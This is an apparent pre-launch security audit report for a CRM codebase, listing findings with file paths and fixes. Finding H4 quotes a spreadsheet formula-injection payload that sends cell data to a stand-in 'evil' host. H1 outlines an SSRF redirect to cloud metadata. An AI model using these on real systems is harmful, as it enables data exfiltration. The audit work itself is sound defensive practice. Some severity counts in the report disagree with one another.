265 lines
32 KiB
Markdown
265 lines
32 KiB
Markdown
> **Provenance:** consolidated from audit pass 1 (run `wf_70a35b83-ab0` — 2 lanes
|
||
> completed, 14 failed on structured-output), the file-IDOR smoke test, and audit
|
||
> pass 2 (run `wf_f37b6f89-70a` — 17 prose lanes launched, **6 completed, 11
|
||
> starved by API rate-limiting**). Supersedes the earlier partial doc.
|
||
> **Status:** PARTIAL — 6 of 17 risk lanes complete. The 11 rate-limited lanes
|
||
> (see § 3 coverage table) must be re-run at lower concurrency before this is a
|
||
> launch sign-off.
|
||
> **Initiative:** launch-readiness Initiative 2 (codebase + security audit).
|
||
|
||
---
|
||
|
||
# Port Nimara CRM — Pre-Launch Master Audit Report
|
||
|
||
## 1. Executive Summary
|
||
|
||
This report consolidates findings from 17 targeted audit lanes plus an earlier pass-1 confirmation set. **Seven lanes (Sales pipeline, Background worker isolation, Socket.IO authz, AI subsystem, GDPR cascade, Storage proxy/presign, Report/PDF correctness, Berth rules/recommender, Permissions/rate-limit, React components, Documenso e-sign) returned no findings due to API rate-limiting** and must be re-run — coverage is incomplete and several high-risk surfaces remain un-audited (see coverage table and gap note).
|
||
|
||
From the lanes that did complete, the dominant theme is **server-side enforcement gaps that the UI papers over**: a disabled module that still accepts writes, a deposit gate that compares across currencies, an SSRF allowlist defeated by HTTP redirects, and money math accumulated in float. None require cross-tenant access to exploit; most are reachable by an ordinary authed user or admin within their own port.
|
||
|
||
### Counts by severity (deduped)
|
||
|
||
| Severity | Count |
|
||
| --------- | --------------------------------- |
|
||
| CRITICAL | 3 |
|
||
| HIGH | 6 |
|
||
| MEDIUM | 11 |
|
||
| LOW | 9 (incl. pass-1 envelope cluster) |
|
||
| **Total** | **29 distinct findings** |
|
||
|
||
**Top 5 to fix before launch:** (1) cross-currency deposit gate auto-marks berths Sold [C], (2) Residential module-disabled never enforced on v1 API [C], (3) tracked-link `/q/` dead in all outbound mail [H, pass-1], (4) webhook `fetch` follows redirects → SSRF read primitive [H], (5) yacht archive/restore falsifies ownership-history ledger [H].
|
||
|
||
---
|
||
|
||
## 2. Findings
|
||
|
||
### CRITICAL
|
||
|
||
#### C1 — Deposit-met gate compares amounts across currencies, auto-advancing pipeline and auto-marking berths Sold
|
||
|
||
`src/lib/services/payments.service.ts:130-132` (sum: `:62-70`)
|
||
The auto-advance gate sums every deposit/refund row by `Number(row.amount)` regardless of `row.currency` (overwriting `currency` each iteration) and compares the bare scalar against `interests.depositExpectedAmount`, never reading the companion `depositExpectedCurrency` (default EUR, `interests.ts:65`). A 5000 EUR deal is satisfied by 5000 USD, or by 5000 of any weaker currency; mixed-currency payments (5000 USD + 5000 EUR) sum to a meaningless 10000 and almost always trip the gate. When it fires it advances stage to `deposit_paid`, stamps `dateDepositReceived`, and fires `evaluateRule('deposit_received', …)` whose default `auto` mode marks the primary berth **Sold** — a berth sold off an underpaid/wrong-currency deposit.
|
||
**Fix:** Normalize each payment to `depositExpectedCurrency` via `convert`/`normalizeAmount` before summing; reject (or require manual confirmation for) the gate when an FX rate is unavailable; assert unit equality before the `>=` compare. **Confidence: 0.9**
|
||
|
||
#### C2 — Residential module-disabled state is never enforced on the v1 API; only the UI is hidden
|
||
|
||
`src/app/api/v1/residential/**/route.ts` (all 13 routes); enforcement only at `(dashboard)/[portSlug]/residential/layout.tsx:34-43`
|
||
Tenancies routes gate every handler with `assertTenanciesModuleEnabled`, but **none** of the 13 residential v1 routes call any module gate. The only enforcement is the page-tree layout, which does not wrap `/api/v1/residential/**` (those live under `app/api/`, outside `(dashboard)`). The `residential-module.service.ts:14-19` docstring claiming "direct API hits are rejected at the layout boundary" is false. An admin disables Residential (expecting it inert), yet any user with `residential_*` permissions can still `POST /residential/clients`, `PATCH /residential/interests/[id]`, run the bulk endpoint, add notes — and `createResidentialInterest` fires partner-forward emails to third parties (`residential.service.ts:341`). The public inquiry endpoint _is_ gated (`api/public/residential-inquiries/route.ts:69`), confirming the gap is unintended.
|
||
**Fix:** Add `await assertResidentialModuleEnabled(ctx.portId)` at the top of every residential v1 handler (mirror Tenancies), or a shared `withResidentialModule` wrapper; fix the docstring. **Confidence: 0.93**
|
||
|
||
#### C3 — Tracked-link `/q/[slug]` not in `PUBLIC_PATHS`; every tracked link in outbound mail is dead _(pass-1, confirmed)_
|
||
|
||
`src/proxy.ts:51`
|
||
External email recipients hitting a tracked `/q/[slug]` link are 302-redirected to `/login`, so every tracked link in outbound mail is dead for its intended (unauthenticated, external) audience.
|
||
**Fix:** Add `/q/` to `PUBLIC_PATHS`. **Confidence: high (confirmed)**
|
||
|
||
---
|
||
|
||
### HIGH
|
||
|
||
#### H1 — Webhook `fetch` follows redirects by default, bypassing the SSRF host allowlist
|
||
|
||
`src/lib/queue/workers/webhooks.ts:224-237`
|
||
The worker validates `webhook.url` via `resolveAndCheckHost` (static + DNS re-resolution of the configured host) then calls `fetch(webhook.url, …)` with **no `redirect: 'manual'`** — Node defaults to `follow`. An admin (or attacker with a `manage_webhooks` session) configures a genuinely-public `https://attacker.example/` that passes every check; at delivery it returns `302 Location: http://169.254.169.254/...`. The redirect target is never re-validated; the worker reads up to 1KB of the response into `webhook_deliveries.response_body`, which the deliveries listing returns verbatim — a full SSRF read primitive against cloud metadata/internal services with exfiltration via the deliveries UI. The DNS-rebind defense is moot.
|
||
**Fix:** Pass `redirect: 'manual'`; treat any 3xx as a non-followed failure, or follow manually re-validating each hop's resolved IP against `resolveAndCheckHost` with a hop cap. **Confidence: 0.95**
|
||
|
||
#### H2 — Yacht archive/restore transfers ownership by writing only denormalized columns, falsifying the ownership-history ledger
|
||
|
||
`src/lib/services/client-archive.service.ts:249-252` & `src/lib/services/client-restore.service.ts:401-404`
|
||
Both paths `update(yachts).set({ currentOwnerType, currentOwnerId })` without closing the open `yacht_ownership_history` row (`endDate IS NULL`) or opening a new one. The canonical `transferOwnership()` (`yachts.service.ts:274-295`) does both, guarded by `uniqueIndex('idx_yoh_active') WHERE endDate IS NULL`. After a smart-archive transfer the denormalized owner says Company X while history still shows the archived client as current owner with `endDate IS NULL`; the next real `transferOwnership` then closes the wrong row and the legal ownership audit trail is permanently wrong. Restore re-corrupts it identically.
|
||
**Fix:** Extract the history close+open into a `transferOwnershipTx(tx, …)` and call it from both archive and restore handlers. **Confidence: 0.8**
|
||
|
||
#### H3 — Refund sign convention is inconsistent across the two summation paths; refunds can inflate reported revenue
|
||
|
||
`src/lib/services/payments.service.ts:68` vs `src/lib/services/reports/financial.service.ts:163,263`
|
||
The validator (`payments.ts`) accepts `^-?\d+(\.\d+)?$` and `createPayment` inserts the amount verbatim — refunds may be positive or negative. Readers disagree: `getDepositTotalForInterest:68` always subtracts (`-Math.abs(n)`); `sumPaymentsInRange:163` trusts the stored sign (comment "already negative"); `getRevenueByMonth:263` drops refunds from the revenue chart entirely. If a rep enters a refund positive (what the regex permits and the natural UI input), the Financial report **adds** it — `revenueCollected` overstated by 2× the refund while `refundsIssued` still looks plausible. `getDepositPositions` filters deposits only, so a refunded deposit shows fully collected and can still trip the C1 gate.
|
||
**Fix:** Normalize refund sign at write time (`-Math.abs(amount)` when `paymentType==='refund'`), apply one convention in every reader, and make `getRevenueByMonth` subtract refunds. **Confidence: 0.85**
|
||
|
||
#### H4 — CSV formula injection in expense + audit-log exports
|
||
|
||
`src/app/api/v1/expenses/export/csv/route.ts` + `src/lib/services/expense-export.tsx:66` + `src/app/api/v1/admin/audit/export/route.ts:95-102`
|
||
Both exporters quote-escape per RFC4180 but neither neutralizes formula triggers. A cell beginning with `=`, `+`, `-`, `@`, or leading tab/CR is emitted verbatim. Free-text fields (expense `Establishment`/`Description`; audit `userAgent`/`metadata`/`oldValue`/`newValue`) carry attacker-seeded payloads like `=HYPERLINK("http://evil/?d="&A1,"OK")`; an admin opens the export in Excel/Sheets → exfiltration or RCE on the admin's machine. papaparse has no built-in guard.
|
||
**Fix:** Shared sanitizer that prefixes a `'` (or space) when `String(v)[0]` ∈ `=+-@\t\r`, applied in `buildCsv`'s `escape` and before `Papa.unparse`. **Confidence: 0.9**
|
||
|
||
#### H5 — No date-overlap / scheduling model for berth tenancies; single-slot latch with no date awareness
|
||
|
||
`src/lib/services/berth-tenancies.service.ts` (lifecycle) + `src/lib/db/schema/tenancies.ts:80-83`
|
||
The only conflict guard is the partial unique index `idx_bt_active` on `(berth_id) WHERE status='active'`; there is no check that a new tenancy's `[startDate,endDate]` doesn't overlap an existing one. You cannot model a berth with a future-windowed tenant B while A's window has ended (reps end by status, not date), and nothing stops a `pending` row with an overlapping window from being activated the moment the prior one ends. Simultaneous-active double-booking _is_ DB-prevented, but the system has no notion of a tenancy schedule — a real correctness gap for seasonal/fixed-term marina tenancies.
|
||
**Fix:** Either document tenancies as explicitly single-slot (and reject the seasonal use case), or add `EXCLUDE USING gist (berth_id WITH =, tstzrange(start_date, coalesce(end_date,'infinity')) WITH &&) WHERE status IN ('pending','active')`. **Confidence: 0.8**
|
||
|
||
#### H6 — No `endDate >= startDate` validation; update/renew/transfer persist inverted date ranges
|
||
|
||
`src/lib/validators/tenancies.ts:35-67` + `src/lib/services/berth-tenancies.service.ts:362-407,541-619`
|
||
`update`/`renew`/`transfer`/`end` schemas accept raw `z.coerce.date()` with no cross-field refine. `transferTenancy` mints the successor with `startDate: data.transferDate` but `endDate: existing.endDate` (`:583-584`); transferring an over-running tenancy forward yields `endDate < startDate`. `updateTenancy:371-372` and `renewTenancy:441-442` are unchecked similarly. Inverted ranges corrupt `tenancy-reports.service.ts` occupancy/renewal math, dashboard tenure widgets, and can skew the public-berths "Under Offer/Sold" projection.
|
||
**Fix:** Add `.refine(d => !d.endDate || !d.startDate || d.endDate >= d.startDate)` to each schema; in `transferTenancy` clamp/validate `endDate` against `transferDate`. **Confidence: 0.82**
|
||
|
||
---
|
||
|
||
### MEDIUM
|
||
|
||
#### M1 — Public file gate keys off user-settable `category`; any authed user can make own-port files publicly streamable _(pass-1, confirmed)_
|
||
|
||
`src/app/api/public/files/[id]/route.ts:26` + `src/lib/validators/files.ts:11,18` + `src/lib/services/files.ts:186`
|
||
`category` is a free string with no allow-list, so a user can self-set `category=branding` to make their own-port file publicly streamable + CDN-cached 24h. No cross-tenant theft (ids are UUIDv4).
|
||
**Fix:** Reserve `branding` (server-controlled) or add an explicit `is_public` column. **Confidence: high (confirmed)**
|
||
|
||
#### M2 — Per-conversion `toFixed(2)` rounding inside row-by-row accumulation compounds drift; inverse rates stored pre-rounded
|
||
|
||
`src/lib/services/currency.ts:23` + `src/lib/services/reports/financial.service.ts` (all sums: `:155,384,406,441`)
|
||
`convert` rounds every conversion (`Number((amount*rate).toFixed(2))`); reports call it once per row inside accumulation loops, so each row is cents-rounded before adding — error accumulates up to ~±0.5¢×N. `refreshRates` stores inverse rates pre-rounded to 6dp, so `X→USD` and `USD→X` aren't exact reciprocals. Multi-currency `revenueCollected`/`netContribution`/`pipelineExpected` won't reconcile to bank statements.
|
||
**Fix:** Sum in source currency grouped by currency, convert each bucket once at the end, round only the final figure; store rates at full precision. **Confidence: 0.8**
|
||
|
||
#### M3 — Public website intake inserts a primary `interest_berths` row with `isInEoiBundle:false`, violating the primary↔bundle invariant
|
||
|
||
`src/lib/services/public-interest.service.ts:237-244`
|
||
The intake path raw-inserts `{ isPrimary:true, isSpecificInterest:true, isInEoiBundle:false }`. The canonical `upsertInterestBerthTx` forces `isInEoiBundle=true` for any primary; migration `0083` exists specifically to repair this exact drift, and there is no DB trigger/check enforcing the invariant. Every website-originated multi-berth interest gets its primary berth silently excluded from the EOI bundle, so `buildEoiContext` (`eoi-context.ts:147-152`) omits it from the multi-berth range field on the signed document until a rep re-touches the link via the service.
|
||
**Fix:** Call `upsertInterestBerthTx(tx, newInterest.id, berthId, { isPrimary:true, isSpecificInterest:true, addedBy:'public-submission' })` instead of the raw insert. **Confidence: 0.78**
|
||
|
||
#### M4 — Webhook test send ignores `isActive` while redeliver enforces it
|
||
|
||
`src/lib/services/webhooks.service.ts:357-397`
|
||
`redeliverWebhookDelivery:301` hard-rejects `!webhook.isActive`, but `sendTestWebhook` checks only ownership and never inspects `isActive`. An admin who disabled a webhook (e.g. because its endpoint was flagged) can still force a live signed POST via the test button — the most convenient trigger for the H1 redirect SSRF since the admin controls timing and event type.
|
||
**Fix:** Mirror redeliver — reject test sends to inactive webhooks, or document the bypass deliberately. **Confidence: 0.82**
|
||
|
||
#### M5 — Dead-letter alert fans out to all super-admins across all ports, leaking the failing webhook's name cross-tenant
|
||
|
||
`src/lib/queue/workers/webhooks.ts:312-331`
|
||
The super-admin query has no `portId` filter, so a delivery failure on Port A notifies every super-admin of every tenant with a `description` embedding admin-controlled `webhook.name` (max 200 chars) and a `/admin/webhooks/{id}` link — a cross-tenant info leak plus a minor injection vector into other tenants' notification feeds. The notification row's `portId` is the originating port, so it may surface under the wrong port context.
|
||
**Fix:** Scope the super-admin lookup to `portId`, or route to an explicitly cross-tenant ops channel. **Confidence: 0.78**
|
||
|
||
#### M6 — Invoice totals computed in JS float and persisted via `String(...)` into unbounded `numeric`; `0%` discount coerced to default 2%
|
||
|
||
`src/lib/services/invoices.ts:250,270,273,322-327,350` (cols: `src/lib/db/schema/financial.ts:109-114`)
|
||
`subtotal`/`discountAmount`/`total`/line-item `total` are float-computed and written with `String(...)` into `numeric` columns that have no precision/scale, persisting values like `"0.30000000000000004"` and `24.690999999999999`. Separately, `discountPct = Number(setting.value) || 2` (`:264`) coerces a legitimately-configured `0%` net10 discount to 2%. Blast radius capped today (invoices module default-disabled, zero dev rows), but any port that enables it bills clients these values.
|
||
**Fix:** Round each money output to 2dp before `String(...)`; give the columns explicit `(12,2)`; use `setting.value ?? 2` so a configured 0% is honored. **Confidence: 0.85**
|
||
|
||
#### M7 — Dry-run preview lies about intra-file duplicate clients; no DB unique backstop on client-contact email
|
||
|
||
`src/lib/import/classify.ts:91-108` vs `src/lib/import/commit.ts:81-118` (index: `src/lib/db/schema/clients.ts:104-109`)
|
||
`classifyRows` never writes, so two file rows with the same brand-new email both classify `insert`; on commit the interleaved classify-then-insert ordering turns row 2 into a `skip`. For companies/berths a real unique index makes this a clean row-error, but `clientContacts` email/phone indexes are **plain `index(...)`, not unique** — the only thing preventing duplicate clients is the sequential ordering. Any future batching/parallelizing/pre-classifying the commit silently creates duplicate clients with no DB guard. (Note: the import engine is currently only wired into the BullMQ worker; no API route enqueues it yet, so this is latent until the UI lands.)
|
||
**Fix:** Add a partial unique index on `client_contacts(port, lower(value)) WHERE channel='email'`; have `classifyRows` track in-file match keys so preview reflects commit. **Confidence: 0.85**
|
||
|
||
#### M8 — Import undo only reverses inserts; `update-matches` mutations are irreversible
|
||
|
||
`src/lib/import/commit.ts:139-187`
|
||
`undoBatch` filters `action='inserted'` (`:162`), so an `update-matches` run that overwrote 500 companies' `taxId`/`billingEmail` or 500 berths' `price`/`dimensions` cannot be rolled back — the ledger stores only the entity id, not the pre-image; undo reports `deleted:0` and leaves every mutation. Separately, client undo `db.delete(clients)` relies on FK violations to block deletes but can't distinguish dependents the import created from those a user added later, and gives the operator no reason a row blocked beyond a row number.
|
||
**Fix:** Capture a JSON pre-image in `import_batch_rows` for updated rows and support update-undo; document `update-matches` as destructive-without-rollback until then; carry the blocking FK/table in blocked-row reporting. **Confidence: 0.8**
|
||
|
||
#### M9 — No idempotency/status guard on import commit; a re-enqueued batch re-imports and duplicates the row ledger
|
||
|
||
`src/lib/import/commit.ts:76-79` + `src/lib/queue/workers/import.ts:34-52`
|
||
`commitBatch` unconditionally sets `status:'committing'` and re-processes every row; the worker never checks `batch.status`. `maxAttempts:1` blocks BullMQ auto-retry, but a future commit endpoint or operator re-trigger re-runs the whole file — appending a second full set of `import_batch_rows` so undo later sees both run-1 inserts and run-2 skips and header counts no longer reconcile with the ledger undo trusts.
|
||
**Fix:** Early-return in the worker when `batch.status` is not in `{dry_run, uploaded}`; gate the transition with `UPDATE … WHERE status IN (…)` and bail on 0 rows. **Confidence: 0.8**
|
||
|
||
#### M10 — Inconsistent residential pipeline-stage validation: bulk rejects custom stages, per-row PATCH accepts arbitrary garbage
|
||
|
||
`src/app/api/v1/residential/interests/bulk/route.ts:22-27` vs `src/lib/validators/residential.ts:73-83` + `src/lib/services/residential.service.ts:553`
|
||
Bulk hardcodes `z.enum(PIPELINE_STAGES)` (the 7 built-ins), so after any admin stage customization a bulk `change_stage` to a custom stage 400s. The per-row path uses `z.string()` and writes it straight through with no membership check, so `PATCH {pipelineStage:"anything"}` parks an interest on a non-existent stage that then surfaces as an orphan in `findOrphanInterests` and distorts funnel reports.
|
||
**Fix:** Replace the hardcoded enum with a runtime check against `listStages(portId)` in both the bulk handler and `updateResidentialInterest`. **Confidence: 0.85**
|
||
|
||
#### M11 — Tenancies auto-create re-enables a module an admin explicitly disabled
|
||
|
||
`src/lib/services/tenancies-module.service.ts:35-69,76-87` + `berth-tenancies.service.ts:150-151` (+ `documents.service.ts:1687` webhook path)
|
||
`createPending` calls `enableTenanciesModule(portId)` unconditionally inside its tx, UPSERTing the setting back to `true`, and the webhook `autoCreatePendingTenancies` deliberately does not gate on `isTenanciesModuleEnabled`. So: admin disables Tenancies → a Reservation Agreement completes → the module flips itself back on and reappears in the sidebar, contradicting the "explicit false always wins" precedence.
|
||
**Fix:** Only call `enableTenanciesModule` when the setting is unset (respect an explicit `false`), or have it no-op when a stored `false` exists. **Confidence: 0.72**
|
||
|
||
---
|
||
|
||
### LOW
|
||
|
||
#### L1 — Deposit gate has no lower-bound re-lock after a refund; float-summed `>=` boundary
|
||
|
||
`src/lib/services/payments.service.ts:132` + `getDepositTotalForInterest`
|
||
With `toFixed(2)` masking most float-boundary cases, the residual issue is no idempotency/lower-bound guard: a deposit that trips the gate (berth Sold, `dateDepositReceived` stamped) followed by a refund that drops net below expected leaves the stage advanced and the berth Sold. Compounded by H3 where refunds may not even subtract in some readers.
|
||
**Fix:** Round both sides to cents before compare; on refund recompute the gate condition and reverse/flag the stage/berth state when net drops below expected. **Confidence: 0.7**
|
||
|
||
#### L2 — Missing-rate / stale-rate FX handling silently adds unconverted foreign amounts
|
||
|
||
`src/lib/services/currency.ts:8-14` + `src/lib/services/reports/currency.ts:31`
|
||
`getRate` returns null for unknown pairs and `normalizeAmount` falls back to `?? amount`, adding an unconverted foreign amount straight into the port-currency total (5000 JMD added as literal 5000 to a EUR total). No max-age check on `currencyRates.fetchedAt`; `refreshRates` swallows all errors (`:71`), so a months-stale rate is used silently.
|
||
**Fix:** Surface a "could not normalize" flag in the report payload when `convert` returns null; reject rates older than a threshold; don't swallow `refreshRates` failures. **Confidence: 0.65**
|
||
|
||
#### L3 — `companyNotes` create-response overwrites real `updatedAt` with `createdAt`; stale doc + dead defensive code
|
||
|
||
`src/lib/services/notes.service.ts:932` (+ `src/lib/db/schema/companies.ts:131`)
|
||
The schema now defines a real `companyNotes.updatedAt`, contradicting the documented "lacks updatedAt" contract. The create path still substitutes `createdAt` while `update()` and the aggregator read the real column — so the create response's `updatedAt` differs from a subsequent read. Cosmetic.
|
||
**Fix:** Drop the `updatedAt: note.createdAt` override; update CLAUDE.md. **Confidence: 0.7**
|
||
|
||
#### L4 — Two junction-insert paths bypass the cross-port guard in `upsertInterestBerthTx`
|
||
|
||
`src/lib/services/public-interest.service.ts:237` & `src/lib/services/client-restore.service.ts:380`
|
||
`upsertInterestBerthTx` asserts `interest.portId === berth.portId`; the two raw inserts skip it. Both currently resolve `berthId` from a port-scoped lookup in the same tx, so it's defense-in-depth, not currently exploitable — but a future resolver edit loses the guard. Folds into M3's fix (use the service).
|
||
**Fix:** Route both through `upsertInterestBerthTx`. **Confidence: 0.6**
|
||
|
||
#### L5 — IPv6-mapped-IPv4 SSRF branch is dead code; static validator accepts `[::ffff:127.0.0.1]` etc.
|
||
|
||
`src/lib/validators/webhooks.ts:56-60`
|
||
The `::ffff:` handler expects a dotted-quad tail but Node normalizes the hostname to hex (`[::ffff:7f00:1]`), so `isBlockedIpv4` never matches → not blocked. The create/update validator accepts loopback/IMDS/RFC1918 mapped literals. Currently MEDIUM-downgraded to LOW because the worker's `resolveAndCheckHost` throws `ENOTFOUND` on the bracketed literal — but for the wrong reason (DNS failure, not range detection); any future bracket-strip-before-lookup or undici change re-opens it. No test covers this form.
|
||
**Fix:** Parse the IPv6 hostname properly (reconstruct from hextets or use `net.isIP` + a real IPv6 range library) and block `::ffff:` mapped ranges by hex encoding. **Confidence: 0.9**
|
||
|
||
#### L6 — TOCTOU between validation `lookup()` and `fetch()`'s independent re-resolution (residual DNS rebind)
|
||
|
||
`src/lib/queue/workers/webhooks.ts:18-45` vs `:224`
|
||
`resolveAndCheckHost` checks resolved IPs but `fetch` re-resolves the hostname; the validated IP is not pinned, leaving a short-TTL rebind window. Lower priority than H1 (redirect is the easier path to the same target).
|
||
**Fix:** Resolve once and pin the address (custom undici Agent with fixed `lookup`, or connect by IP with Host/SNI preserved); reject if the connected peer IP is private. **Confidence: 0.7**
|
||
|
||
#### L7 — Redeliver re-signs stale captured payload with a fresh timestamp; transport-freshness checks can be defeated
|
||
|
||
`src/lib/queue/workers/webhooks.ts:69` + `src/lib/services/webhooks.service.ts:312-316`
|
||
Redeliver clones `source.payload` and the worker regenerates `id`/timestamp at send (`:142-149`) while `data` stays stale — so a replay carries a fresh signature + fresh `X-Webhook-Timestamp` over old data, and the delivery id changes per redeliver. A receiver relying solely on transport timestamp/delivery-id freshness accepts arbitrarily old event data as fresh. Semantics/documentation gap.
|
||
**Fix:** Document that redeliver intentionally re-signs stale data; surface the original event time inside `data` for business-level freshness checks. **Confidence: 0.6**
|
||
|
||
#### L8 — `createPending` allows unlimited pending rows on an already-active berth (dead-end UX)
|
||
|
||
`src/lib/services/berth-tenancies.service.ts:93-179`
|
||
`createPending` never consults active-tenancy state; the partial unique index only covers `active`, so any number of `pending` rows insert on a fully-occupied berth and all `ConflictError` one-at-a-time at activate. No data corruption; confusing UX and dashboard noise.
|
||
**Fix:** Query for an existing active tenancy in `createPending` and warn/soft-block or surface it in the create response. **Confidence: 0.78**
|
||
|
||
#### L9 — Tenancy cluster: wrong socket event + non-transactional `saveStages` _(two minor items)_
|
||
|
||
`src/lib/services/berth-tenancies.service.ts:401-404` and `src/lib/services/residential-stages.service.ts:91-167`
|
||
(a) `updateTenancy` emits `berth_tenancy:activated` for a metadata-only edit, causing false "activated" toasts/cache invalidations on clients — fix: emit `:updated` (conf 0.9). (b) `saveStages` runs reassignment UPDATEs and the stage-list UPSERT as separate top-level `db` calls despite a docstring claiming one transaction; a crash between them leaves interests reassigned but the stage list unsaved — fix: wrap both in `db.transaction` or correct the docstring (conf 0.83).
|
||
|
||
#### L10 — Import substring header auto-mapping can mis-map fields; berth mooring regex laxer than canonical _(two minor items)_
|
||
|
||
`src/lib/import/mapping.ts:53` and `src/lib/import/adapters/berths.ts:12-14,31`
|
||
(a) `c.includes(h.n) || h.n.includes(c)` scores any substring relationship as a near-exact match, so "Billing Email" can auto-map to client `email` and "Company Name" to `name`; a careless confirm imports into the wrong column at scale — fix: surface score-1 substring matches as "review" not pre-selected, or use whole-token boundaries (conf 0.6). (b) `canonMoo` zod regex `^[A-Za-z]+-?0*\d+$` is laxer than the documented canonical `^[A-Z]+\d+$` and `parseInt` loses precision past `MAX_SAFE_INTEGER`; dedup stays self-consistent so no duplicate/cross-tenant risk — fix: align the regex, reject absurd numeric lengths (conf 0.55).
|
||
|
||
#### L11 — API envelope / auth-surface inconsistency cluster _(pass-1, confirmed)_
|
||
|
||
Multiple files
|
||
`me/email` returns 3 shapes; no-content mutations return `{ok:true}` instead of `204`; `dashboard`/`notifications`/`search` GETs return bare shapes; inline 400s bypass `errorResponse`; public intake POSTs use bespoke shapes; portal login reads `?next=` but proxy sets `?redirect=`; scanner layout lacks a membership check; module-gate layouts fail-open on an unresolved slug.
|
||
**Fix:** Normalize to the `{ data }` envelope per CLAUDE.md; route 400s through `errorResponse`; align `?next=`/`?redirect=`; add the scanner membership check; fail-closed on unresolved slug. **Confidence: high (confirmed)**
|
||
|
||
#### L12 — Import port-authorization trust boundary is unguarded (latent) `[needs-confirm]`
|
||
|
||
`src/lib/import/types.ts:46-49` + `src/lib/queue/workers/import.ts:71-78`
|
||
`portId` is taken from `batch.portId` and trusted. Correct today because every service call stamps `portId` from `ctx` and there is no API layer enqueuing the engine — but when the commit/dry-run route lands it MUST re-derive `portId` from the session and assert `batch.portId === session.portId`, and gate on an `import` permission (none is checked anywhere in the engine path today). Flagged for the route author. **Confidence: 0.75**
|
||
|
||
---
|
||
|
||
## 3. Lane Coverage Table
|
||
|
||
| Lane | Status | Findings (C/H/M/L) | Top risk |
|
||
| ------------------------------------------- | ------------------------- | ------------------ | ------------------------------------------------------- |
|
||
| Financial money-math | Complete | 1/2/2/1 | C1 cross-currency deposit gate auto-marks berths Sold |
|
||
| Sales pipeline state machine | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Cross-entity ownership / schema drift | Complete | 0/1/1/2 | H2 archive/restore falsifies ownership-history ledger |
|
||
| Background worker tenant isolation | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Socket.IO realtime authorization | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| AI subsystem spend cap + prompt injection | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Destructive client lifecycle + GDPR cascade | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Storage proxy, presign & file validation | **Rate-limited — RE-RUN** | — | Not audited (pass-1 M1 partly covers) |
|
||
| CSV/bulk import engine | Complete | 0/1/3/3 | H4 CSV formula injection in expense + audit exports |
|
||
| Email engine internals | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Outbound webhook SSRF + delivery integrity | Complete | 0/1/3/2 | H1 fetch follows redirects, defeating SSRF allowlist |
|
||
| Report/PDF correctness + per-port filtering | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Residential + tenancies logic | Complete | 1/2/3/2 | C2 residential module-disabled never enforced on v1 API |
|
||
| Berth rules / recommender / public status | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Permissions model + rate-limit coverage | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| React components/hooks + UI/UX | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Documenso e-sign integration | **Rate-limited — RE-RUN** | — | Not audited |
|
||
| Pass-1 (confirmed) | Folded in | 0/1/1/1 | C3 tracked `/q/` links dead in all outbound mail |
|
||
|
||
**Coverage gap:** 11 of 17 lanes returned no findings due to API rate-limiting, including several high-risk surfaces (GDPR cascade, worker isolation, Socket.IO authz, AI spend/injection, permissions, storage presign, Documenso). This report is **not a complete pre-launch sign-off** — the rate-limited lanes must be re-run before launch. Findings above reflect only the 6 lanes that completed plus the pass-1 confirmations.
|